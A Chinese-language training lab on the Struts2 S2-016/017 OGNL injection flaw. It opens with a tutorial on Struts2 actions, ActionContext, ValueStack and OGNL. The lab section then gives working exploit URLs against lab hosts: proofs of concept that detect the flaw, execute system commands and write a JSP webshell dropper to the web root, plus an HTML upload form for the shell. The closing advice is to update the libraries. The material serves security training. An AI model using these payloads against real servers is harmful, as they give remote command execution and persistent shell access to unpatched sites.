#前文#
通过该实验了解java开发流行框架struts2安全缺陷形成的原因,
掌握基本的漏洞利用及使用方法,
并能够通过代码审计给出加固方案。
#基础知识#
-
了解Struts2
Struts是Apache软件基金会赞助的一个Java开源项目,
通过采用JavaServlet/JSP技术,
实现了基于Java EE Web应用的MVC设计模式的应用框架,
是MVC经典设计模式中的一个经典产品,也是国际上应用最广泛的web应用框架之一。本次实验为了学习效果,使用了一个版本相对较低的2.1.8版本。
-
Struts2初始
为了让大家回顾或者学习一下struts2,
我们一起来建立一个action、jsp页面,
做一个接收用户输入,之后处理一下,再展示出来给用户的过程,精通struts2的同学可以跳过此步。首先建立action,叫做AaaaAction:
public class AaaaAction extends ActionSupport{
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String execute(){
System.out.println("exe");
return SUCCESS;
}
public String bbb(){
System.out.println("bbbbb");
return SUCCESS;
}
}
请注意execute这个方法,让用户输入action的地址后,默认会访问这个方法。
之后配置struts.xml文件
<action name="aaaaaaa" class="net.inbreak.AaaaAction">
<result name="success">user/aaa.jsp</result>
</action>
配置这个文件后,
当用户输入 http://www.inbreak.net/app/aaaaaaa.action的时候,
struts会负责让AaaaAction中的execute方法处理用户请求。
处理之后,该方法返回“return SUCCESS;”,
struts又负责找到result的name是seccuess所指向的jsp页面。
把该页面解析后,返回给用户。
而用户看到的就是aaa.jsp页面的html代码。
struts2继承了webwork的所有优点,
其实等于是webwork的升级,
如果开发人员想让用户直接访问action中的某方法,而不是访问默认的execute方法,
只要定义一个方法叫做bbb,
并且是public的,用户就可以直接输入
http://www.inbreak.net/app/aaaaaaa!bbb.action直接访问了bbb方法。
那request中的参数如果接收呢?
struts2中,这个过程被包装了起来,使用非常方便,只要在action中定义一个属性,
叫做public String name;。
然后加入getName和setName方法,就可以像正常使用属性一样,接收到用户传递过来的变量。
无论是get请求还是post请求,都可以使用这种方式接收用户输入。
如果同学们对该框架想了解更多,请自行google去了解,在此不再赘述。
-
Struts2内部流程
大致的处理流程:
内部处理细节:-
客户端发送请求的tomcat服务器。服务器接受,将HttpServletRequest传进来。
-
请求经过一系列过滤器(如:ActionContextCleanUp、SimeMesh等)
-
FilterDispatcher被调用。FilterDispatcher调用ActionMapper来决定这个请求是否要调用某个Action
-
ActionMapper决定调用某个ActionFilterDispatcher把请求交给ActionProxy
-
ActionProxy通过Configuration Manager查看struts.xml,从而找到相应的Action类
-
ActionProxy创建一个ActionInvocation对象
-
ActionInvocation对象回调Action的execute方法
-
Action执行完毕后,ActionInvocation根据返回的字符串,找到对应的result。然后将Result内容通过 HttpServletResponse返回给服务器。
Struts2请求处理流程分析:
1、服务器启动的时候会自动去加载当前项目的web.xml2、在加载web.xml配置的时候会去自动初始化Struts2的Filter,
然后把所有的请求先交于Struts的org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.java类去做过滤处理。3、而这个类只是一个普通的Filter方法通过调用Struts的各个配置去初始化。
4、初始化完成后一旦有action请求都会经过StrutsPrepareAndExecuteFilter的doFilter过滤。
5、doFilter中的ActionMapping去映射对应的Action。
6、ExecuteOperations
-
-
Struts2中ActionContext、ValueStack、Ognl
1)ActionContext对象:Struts2的Action不用依赖于web容器,本身只是一个普通的java类而已。
但是在web开发中我们往往需要获得request、session、application等对象。
这时候,可以通过ActionContext来处理。ActionContext正如其名,是Action执行的上下文。
他内部有个map属性,它存放了Action执行时需要用到的对象。在每次执行Action之前都会创建新的ActionContext对象,
通过ActionContext获取的session、request、application
并不是真正的HttpServletRequest、HttpServletResponse、ServletContext对象,
而是将这三个对象里面的值重新包装成了map对象。
这样的封装,我们及获取了我们需要的值,同时避免了跟Web容器直接打交道,实现了完全的解耦。测试代码:
public class TestActionContextAction extends ActionSupport{
private String uname;
public String execute() throws Exception {
ActionContext ac = ActionContext.getContext();
System.out.println(ac); //在此处定义断点
return this.SUCCESS;
}
//get和set方法省略!
}
我们设置断点,debug进去,跟踪ac对象的值。
发现他有个table属性,该属性内部包含一个map属性,该map中又有多个map属性,
他们分别是:request、session、application、action、attr、parameters等。
同时,我们跟踪request进去,发现属性attribute又是一个table,
再进去发现一个名字叫做”struts.valueStack”属性。内容如下:
OgnlValueStack可以简单看做List,里面还放了Action对象的引用,
通过它可以得到该Action对象的引用。
下图说明了几个对象的关系:
ActionContext、Action本身和HttpServletRequest对象没有关系。
但是为了能够使用EL表达式、JSTL直接操作他们的属性。
会有一个拦截器将ActionContext、Action中的属性
通过类似request.setAttribute()方法置入request中(webwork2.1之前的做法)。
这样,我们也可以通过:${requestScope.uname}即可访问到ActionContext和Action中的属性。
注:struts2后,使用装饰器模式来实现上述功能。
Action的实例,总是放到value stack中。
因为Action放在stack中,而stack是root(根对象),所以对Action中的属性的访问就可以省略#标记。
获取Web容器信息:
在上面我GETSHELL或者是输出回显的时候就必须获取到容器中的请求和响应对象。
而在Struts2中通过ActionContext可以获得session、request、application,
但他们并不是真正的HttpServletRequest、HttpServletResponse、ServletContext对象,
而是将这三个对象里面的值重新包装成了map对象。 Struts框架通过他们来和真正的web容器对象交互。
获得session:ac.getSession().put("s", "ss");
获得request:Map m = ac.get("request");
获得application:ac.getApplication();
获取HttpServletRequest、HttpServletResponse、ServletContext:
有时,我们需要真正的HttpServletRequest、HttpServletResponse、ServletContext对象,怎么办?
我们可以通过ServletActionContext类来得到相关对象,代码如下:
HttpServletRequestreq = ServletActionContext.*getRequest*();
ServletActionContext.*getRequest*().getSession();
ServletActionContext.*getServletContext*();
2)Struts2 OGNL:
OGNL是Object-Graph Navigation Language的缩写,
它是一种功能强大的表达式语言(Expression Language,简称为EL),
通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,
实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
OGNL三要素:
1. 表达式(Expression)
表达式是整个OGNL的核心,所有的OGNL操作都是针对表达式的解析后进行的。
表达式会规定此次OGNL操作到底要干什么。
我们可以看到,在上面的测试中,
name、department.name等都是表达式,
表示取name或者department中的name的值。OGNL支持很多类型的表达式,之后我们会看到更多。
2. 根对象(Root Object)
根对象可以理解为OGNL的操作对象。
在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。
在上面的测试代码中,user就是根对象。
这就意味着,
我们需要对user这个对象去取name这个属性的值(对user这个对象去设置其中的department中的name属性值)。
3. 上下文环境(Context)
有了表达式和根对象,我们实际上已经可以使用OGNL的基本功能。
例如,根据表达式对根对象进行取值或者设值工作。
不过实际上,在OGNL的内部,所有的操作都会在一个特定的环境中运行,
这个环境就是OGNL的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),
将规定OGNL的操作“在哪里干”。
OGN L的上下文环境是一个Map结构,称之为OgnlContext。
上面我们提到的根对象(Root Object),事实上也会被加入到上下文环境中去,
并且这将作为一个特殊的变量进行处理,
具体就表现为针对根对象(Root Object)的存取操作的表达式是不需要增加#符号进行区分的。
Struts 2中的OGNL Context实现者为ActionContext,它结构示意图如下:
当Struts2接受一个请求时,
会迅速创建ActionContext,ValueStack,action 。
然后把action存放进ValueStack,所以action的实例变量可以被OGNL访问。
Struts2采纳了XWork的一套完美方案
(Xwork提供了很多核心功能:
前端拦截机(interceptor),运行时表单属性验证,类型转换,
强大的表达式语言(OGNL – the Object Graph Navigation Language),
IoC(Inversion of Control反转控制)容器等)。
并在此基础上构建一套所谓完美的机制,OGNL方案和OGNLValueStack机制。
View层到Controller层自动转储;然后是Controller层到View层,我们可以使用简易的表达式取对象数据显示到页面,
如: ${对象.属性},节省不少代码时间且使用方便.而它的存储结构就是一棵对象,
这里我们可以把对象树当成一个java对象寄存器,可以方便添加、访问对象等。
但是OGNL的这些功能或机制是危险的.
我们列举一下表达式功能操作清单:
1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
2. 对容器变量的访问
对容器变量的访问,通过#符号加上表达式进行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
3. 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样,
除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。
4. 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问:
例如:group.users[0]
同时,OGNL支持对Map的按键值查找:
例如:#session['mySessionPropKey']
不仅如此,OGNL还支持容器的构造的表达式:
例如:{"green", "red", "blue"}构造一个List,
#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建:
例如:new Java.net.URL("xxxxxx/")
5. 对静态方法或变量的访问
要引用类的静态方法和字段,他们的表达方式是一样的
@class@member或者@class@method(args):
例如:@com.javaeye.core.Resource@ENABLE,@com.javaeye.core.Resource@getAllResources
6. 方法调用
直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
7. 投影和选择
OGNL支持类似数据库中的投影(projection)和选择(selection)。
投影就是选出集合中每个元素的相同属性组成新的集合,
类似于关系数据库的字段操作。
投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。
例如:group.userList.{username}将获得某个group中的所有user的name的列表。
选择就是过滤满足selection 条件的集合元素,
类似于关系数据库的纪录操作。
选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,
后面则是选择用的逻辑表达式。
而选择操作符有三种:
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。
#实验内容和步骤#
服务器:centos6.3,IP地址:10.1.1.4
测试者:win7,IP地址随机,可自己查看,在本例中为10.1.1.207
测试网站:http://10.1.1.4:8080
1.Struts2 s2-016/017漏洞分析
在struts2中,
DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,
但是这些前缀后面同时可以跟OGNL表达式,
由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
这里以“redirect:”前缀举例,
struts2会将“redirect:”前缀后面的内容设置到redirect.location当中,
这里我们一步步跟踪,首先是这个getMapping函数跟入:
这里一直到这个handleSpecialParameters(),继续跟入:
这里真正传入OGNL表达式是在这个parameterAction.execute()中,
继续跟入来到DefaultActionMapper.java的代码。
这里key.substring(REDIRECT_PREFIX.length())便是前缀后面的内容也就是OGNL表达式,
struts2会调用setLocation方法将他设置到redirect.location中。
然后这里调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里,
如图所示:
然而上面的过程只是传递OGNL表达式,真正执行是在后面,
这里是在FilterDispatcher类中的dispatcher.serviceAction()方法,
这里的mapping对象中设置了传入的OGNL。
这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL。
我们构造一个调用本地计算器的PoC:
http://10.1.1.4:8080/trainin/EN_index.action?
redirect:$
{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'calc'})).start(),
%23b%3d%23a.getInputStream(),
%23c%3dnew%20java.io.InputStreamReader(%23b),
%23d%3dnew%20java.io.BufferedReader(%23c),
%23e%3dnew%20char[50000],
%23d.read(%23e),
%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
%23matt.getWriter()}
在浏览器中输入上述URL,漏洞重现:
判断一个使用了struts2框架的网站是否存在漏洞
任务描述:依据上述漏洞分析及给出的poc,并参照官方文档
http://struts.apache.org/release/2.3.x/docs/s2-017.html
http://struts.apache.org/release/2.3.x/docs/s2-016.html
提示一:
官方的poc:
http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/
http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23
请输入你所构造的POC:
http://10.1.1.145/struts2/training/EN_index.action?redirect:http://www.baidu.com
(redirect:后面的网址可以任意替换)
提示二:
ServletActionContext能够拿到真正的HttpServletRequest、HttpServletResponse、ServletContext。
拿到一个HttpServletResponse响应对象后就可以调用getWriter方法
(返回的是PrintWriter)让Servlet容器上输出[/ok]了,
而其他的POC也都做了同样的事:拿到HttpServletResponse,然后输出[/ok]。
请输入你所构造的POC:
http://10.1.1.145/struts2/training/EN_index.action?
redirect:$
{%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
%23w.println('[/ok]'),%23w.flush(),%23w.close()}
([/ok]可以为任意内容,能输出即可)
提示三:
延迟判断:先让线程sleep一段时间,再去计算时间差来判断漏洞是否存在。
请输入你所构造的POC:
http://10.1.1.145/struts2/training/EN_index.action?redirect:${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}.action
(依据是否使用了sleep方法来评判)
在存在漏洞的网站上执行系统命令
任务描述:依据漏洞分析及给出的poc构造一个能执行系统命令的POC。
提示:在漏洞分析给出的POC 基础上改动某个部分即可,请仔细思考。
请输入你所构造的POC:
http://10.1.1.145/struts2/download/EN_productdownload.action?
redirect:$
{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),
%23b%3d%23a.getInputStream(),
%23c%3dnew%20java.io.InputStreamReader(%23b),
%23d%3dnew%20java.io.BufferedReader(%23c),
%23e%3dnew%20char[50000],%23d.read(%23e),
%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
%23matt.getWriter().println(%23e),
%23matt.getWriter().flush(),%23matt.getWriter().close()}
('netstat','-an'这里可以为其他系统命令)
依据漏洞分析及给出的poc构造一个GETSHELL POC
提示:文件写入
请输入你所构造的POC:
http://10.1.1.145/struts2/download/EN_productdownload.action?redirect:$
{%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\", "/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p))
.append(%23req.getParameter(%22c%22))
.close()}&c=%3c%25if(request
.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application
.getRealPath(%22%2f%22)%2brequest
.getParameter(%22f%22)))
.write(request.getParameter(%22t%22).getBytes())%3b%25%3e
在网站根目录下写入一句话css3.jsp
将以下代码保存为html,提交code后获得shell
<form action="http://10.1.1.59/struts2/css3.jsp?f=css1.jsp" method="post">
<textarea name=t cols=120 rows=10 width=45>code</textarea><BR><center><br>
<input type=submit value="提交">
</form>
Shell地址:
http://10.1.1.145/struts2/css1.jsp
依据你对漏洞的分析,对该网站进行加固并验证漏洞是否再现
加固:
更新最新Struts2 lib包即可
更新文件清单:Commons-* 、Stuts2-* 、 Xwork-core-* 、Ognl-*
加固后的验证结果:
使用之前漏洞判断的POC验证即可。